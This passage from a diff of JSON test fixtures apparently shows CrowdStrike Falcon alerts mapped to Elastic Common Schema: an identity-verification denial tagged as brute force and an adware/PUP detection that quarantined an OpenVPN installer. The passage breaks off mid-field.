+                    "model_anomaly_indicators": [
+                        "ACCOUNT_IMPOSSIBLE_VELOCITY",
+                        "ENVIRONMENT_UNUSUAL_IP",
+                        "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
+                        "ISP_DATACENTER_CLASSIFICATION"
+                    ],
+                    "name": "IdpPolicyIdentityVerificationDenied",
+                    "objective": "GainAccess",
+                    "pattern_id": "45897",
+                    "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
+                    "product": "idp",
+                    "protocol_anomaly_classification": 1,
+                    "scenario": "suspicious_activity",
+                    "seconds_to_resolved": 0,
+                    "seconds_to_triaged": 0,
+                    "severity": 79,
+                    "severity_name": "Medium",
+                    "show_in_ui": true,
+                    "source": {
+                        "account_azure_id": "65ddx-c454-324d-9034-Fdf34353",
+                        "account_domain": "BCD.example.com",
+                        "account_name": "admin.example",
+                        "account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324",
+                        "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733",
+                        "account_sam_account_name": "admin.abcdef",
+                        "account_upn": "admin.abcdef@example.com",
+                        "endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ",
+                        "endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999",
+                        "endpoint_address_ip4": "81.2.69.144",
+                        "endpoint_host_name": "ABDC454.net.example.com",
+                        "endpoint_ip_address": "81.2.69.144",
+                        "endpoint_ip_reputation": 118,
+                        "endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e",
+                        "ip_isp_classification": 8,
+                        "ip_isp_domain": "abc.com"
+                    },
+                    "source_products": [
+                        "FalconIdentityProtection"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "start_time": "2024-08-19T18:43:44.242Z",
+                    "status": "new",
+                    "tactic": "CredentialAccess",
+                    "tactic_id": "TA0006",
+                    "tags": [
+                        "falcon_complete"
+                    ],
+                    "target": {
+                        "account_name": "HFJFJFFFFFFF$",
+                        "domain_controller_host_name": "GHPOTAL12578",
+                        "domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1",
+                        "domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511",
+                        "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536",
+                        "endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236",
+                        "endpoint_host_name": "GH787.abc.example.com",
+                        "endpoint_sensor_id": "afdsasf3423432nndv3432v",
+                        "service_access_identifier": "HOST/root.demo.com"
+                    },
+                    "technique": "BruteForce",
+                    "technique_id": "T1110",
+                    "timestamp": "2024-08-19T18:44:01.100Z",
+                    "type": "idp-user-endpoint-app-info",
+                    "updated_timestamp": "2024-08-19T18:49:02.798Z",
+                    "user_name": "admin.abcdef"
+                }
+            },
+            "destination": {
+                "domain": "GH787.abc.example.com",
+                "user": {
+                    "domain": "GHPOTAL12578",
+                    "name": "HFJFJFFFFFFF$"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "end": "2024-08-19T18:43:44.242Z",
+                "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429",
+                "kind": "alert",
+                "original": "{\"aggregate_id\":\"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9\",\"agent_id\":\"58293534772e48c99f33c61631b3536d\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"context_timestamp\":\"2024-08-19T18:43:44.242Z\",\"composite_id\":\"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"crawled_timestamp\":\"2024-08-19T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-19T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"Auserdeniedapolicyidentityverificationrequest\",\"display_name\":\"Identityverificationdenied\",\"end_time\":\"2024-08-19T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429\",\"idp_policy_mfa_factor_type\":\"42669\",\"idp_policy_mfa_provider\":\"11\",\"idp_policy_rule_id\":\"123324-343-4dfa9E0-8F85-dfaa3242\",\"idp_policy_rule_name\":\"admin-RDPAccesstoTIER-0Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"GainAccess\",\"pattern_id\":45897,\"poly_id\":\"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-324d-9034-Fdf34353\",\"source_account_domain\":\"BCD.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1117733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"FDHJJ343-098C-4629-9437-DD3424GHJ\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293523261gh48c99ffd234c6190123536e\",\"source_products\":[\"FalconIdentityProtection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"CredentialAccess\",\"tactic_id\":\"TA0006\",\"technique\":\"BruteForce\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536\",\"target_endpoint_account_object_sid\":\"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236\",\"target_endpoint_host_name\":\"GH787.abc.example.com\",\"target_endpoint_sensor_id\":\"afdsasf3423432nndv3432v\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge126.0.0\",\"activity_device\":\"LAPTOP-ADFVEJM234V\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"4\",\"activity_id\":\"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":320316,\"location_longitude_as_int\":-12729080,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"78HF9842-HGG5-324F-9565-GJD47324\",\"source_endpoint_account_object_sid\":\"S-1-4-21-111111111-2222222-14171121333-1045999\",\"source_endpoint_ip_reputation\":\"118\",\"source_ip_isp_classification\":\"8\",\"source_ip_isp_domain\":\"abc.com\",\"target_domain_controller_host_name\":\"GHPOTAL12578\",\"target_domain_controller_object_guid\":\"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1\",\"target_domain_controller_object_sid\":\"S-2-8-21-333333-2222222-3431-95511\",\"target_service_access_identifier\":\"HOST/root.demo.com\"}",
+                "severity": 47,
+                "start": "2024-08-19T18:43:44.242Z"
+            },
+            "host": {
+                "id": "58293534772e48c99f33c61631b3536d"
+            },
+            "message": "Auserdeniedapolicyidentityverificationrequest",
+            "observer": {
+                "geo": {
+                    "country_iso_code": "US",
+                    "location": {
+                        "lat": 320316,
+                        "lon": -12729080
+                    }
+                }
+            },
+            "related": {
+                "hosts": [
+                    "BCD.example.com",
+                    "ABDC454.net.example.com",
+                    "GH787.abc.example.com",
+                    "GHPOTAL12578"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "admin.example",
+                    "admin.abcdef@example.com",
+                    "HFJFJFFFFFFF$",
+                    "admin.abcdef"
+                ]
+            },
+            "rule": {
+                "id": "123324-343-4dfa9E0-8F85-dfaa3242",
+                "name": "admin-RDPAccesstoTIER-0Servers"
+            },
+            "source": {
+                "domain": "ABDC454.net.example.com",
+                "ip": "81.2.69.144",
+                "user": {
+                    "domain": "BCD.example.com",
+                    "name": "admin.example"
+                }
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields",
+                "falcon_complete"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "TA0006"
+                    ],
+                    "name": [
+                        "CredentialAccess"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1110"
+                    ],
+                    "name": [
+                        "BruteForce"
+                    ]
+                }
+            },
+            "user": {
+                "name": "admin.abcdef"
+            }
+        },
+        {
+            "@timestamp": "2023-11-03T18:00:22.328Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "alleged_filetype": "exe",
+                    "cid": "92012896127c4a948236ba7601b886b0",
+                    "cloud_indicator": false,
+                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "confidence": 10,
+                    "context_timestamp": "2023-11-03T18:00:31.000Z",
+                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+                    "crawl_edge_ids": {
+                        "Sensor": [
+                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
+                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
+                        ]
+                    },
+                    "crawl_vertex_ids": {
+                        "Sensor": [
+                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                        ]
+                    },
+                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
+                    "created_timestamp": "2023-11-03T18:01:23.995Z",
+                    "data_domains": [
+                        "Endpoint"
+                    ],
+                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+                    "device": {
+                        "agent_load_flags": 0,
+                        "agent_local_time": "2023-10-12T03:45:57.753Z",
+                        "agent_version": "7.04.17605.0",
+                        "bios_manufacturer": "ABC",
+                        "bios_version": "F8CN42WW(V2.05)",
+                        "cid": "92012896127c4a948236ba7601b886b0",
+                        "config_id_base": "65994763",
+                        "config_id_build": "17605",
+                        "config_id_platform": 3,
+                        "external_ip": "81.2.69.142",
+                        "first_seen": "2023-04-07T09:36:36.000Z",
+                        "groups": [
+                            "18704e21288243b58e4c76266d38caaf"
+                        ],
+                        "hostinfo": {
+                            "active_directory_dn_display": [
+                                "WinComputers",
+                                "WinComputers\\ABC"
+                            ],
+                            "domain": "ABC.LOCAL"
+                        },
+                        "hostname": "ABC709-1175",
+                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                        "last_seen": "2023-11-03T17:51:42.000Z",
+                        "local_ip": "81.2.69.142",
+                        "mac_address": "AB-21-48-61-05-B2",
+                        "machine_domain": "ABC.LOCAL",
+                        "major_version": "10",
+                        "minor_version": "0",
+                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
+                        "os_version": "Windows11",
+                        "ou": [
+                            "ABC",
+                            "WinComputers"
+                        ],
+                        "platform_id": "0",
+                        "platform_name": "Windows",
+                        "product_type": "1",
+                        "product_type_desc": "Workstation",
+                        "site_name": "Default-First-Site-Name",
+                        "status": "normal",
+                        "system_manufacturer": "LENOVO",
+                        "system_product_name": "20VE"
+                    },
+                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "grandparent_details": {
+                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                        "filename": "userinit.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                        "local_process_id": "4328",
+                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                        "process_id": "392734873135",
+                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                        "timestamp": "2023-10-30T16:49:19.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "yuvraj.mahajan"
+                    },
+                    "has_script_or_module_ioc": true,
+                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "ioc_context": [
+                        {
+                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "ioc_source": "library_load",
+                            "ioc_type": "hash_sha256",
+                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "type": "module"
+                        }
+                    ],
+                    "ioc_values": [
+                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                    ],
+                    "is_synthetic_quarantine_disposition": true,
+                    "local_process_id": "17076",
+                    "logon_domain": "ABSYS",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "name": "PrewittPupAdwareSensorDetect-Lowest",
+                    "objective": "FalconDetectionMethod",
+                    "parent_details": {
+                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                        "filename": "explorer.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                        "local_process_id": "1040",
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                        "process_id": "392736520876",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                        "timestamp": "2023-11-03T18:00:32.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "mohit.jha"
+                    },
+                    "parent_process_id": "392736520876",
+                    "pattern_disposition": 2176,
+                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+                    "pattern_disposition_details": {
+                        "blocking_unsupported_or_disabled": false,
+                        "bootup_safeguard_enabled": false,
+                        "critical_process_disabled": false,
+                        "detect": false,
+                        "fs_operation_blocked": false,
+                        "handle_operation_downgraded": false,
+                        "inddet_mask": false,
+                        "indicator": false,
+                        "kill_action_failed": false,
+                        "kill_parent": false,
+                        "kill_process": false,
+                        "kill_subprocess": false,
+                        "operation_blocked": false,
+                        "policy_disabled": false,
+                        "process_blocked": true,
+                        "quarantine_file": true,
+                        "quarantine_machine": false,
+                        "registry_operation_blocked": false,
+                        "rooting": false,
+                        "sensor_only": false,
+                        "suspend_parent": false,
+                        "suspend_process": false
+                    },
+                    "pattern_id": "5761",
+                    "platform": "Windows",
+                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+                    "process_end_time": "2023-11-03T18:00:21.000Z",
+                    "process_id": "399748687993",
+                    "process_start_time": "2023-11-03T18:00:13.000Z",
+                    "product": "epp",
+                    "quarantined_files": [
+                        {
+                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "state": "quarantined"
+                        }
+                    ],
+                    "scenario": "NGAV",
+                    "severity": 30,
+                    "severity_name": "low",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "show_in_ui": true,
+                    "source_products": [
+                        "FalconInsight"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "status": "new",
+                    "tactic": "MachineLearning",
+                    "tactic_id": "CSTA0004",
+                    "technique": "Adware/PUP",
+                    "technique_id": "CST0000",
+                    "timestamp": "2023-11-03T18:00:22.328Z",
+                    "tree_id": "1931778",
+                    "tree_root": "38687993",
+                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+                    "type": "ldt",
+                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
+                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "user_name": "mohit.jha"
+                }
+            },
+            "device": {
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "manufacturer": "LENOVO",
+                "model": {
+                    "name": "20VE"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"d